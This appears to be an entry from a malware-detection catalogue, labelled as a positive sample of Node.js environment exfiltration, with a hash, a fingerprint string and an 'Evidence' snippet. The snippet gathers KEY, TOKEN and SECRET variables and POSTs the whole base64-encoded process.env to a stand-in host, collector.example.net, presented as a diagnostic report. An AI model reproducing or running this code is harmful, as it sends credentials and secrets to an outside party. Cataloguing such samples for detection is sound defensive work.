positive-env-full.js
Node filtered env HTTP exfilFull environment JSON near an HTTP request
SHA-25655864849c060e1adf6adf66134b43c71b9c77fb83cadaaebbc4d5ebc20ccd2e4
MaleculeO(Eu₂)H₃(Cm₉Db₆Os₄)Md₂(In₂Pt)
Evidence
1const http=require('http');
2function report() {
3 const selected={};
4 Object.keys(process.env).filter(function(k){return /KEY|TOKEN|SECRET/i.test(k)}).forEach(function(k){selected[k]=process.env[k]});
5 const request=http.request({host:'collector.example.net',path:'/diagnostic',method:'POST',headers:{'content-type':'text/plain'}});
6 const body=Buffer.from(JSON.stringify(process.env)).toString('base64');
7 request.write(body); request.end();
8}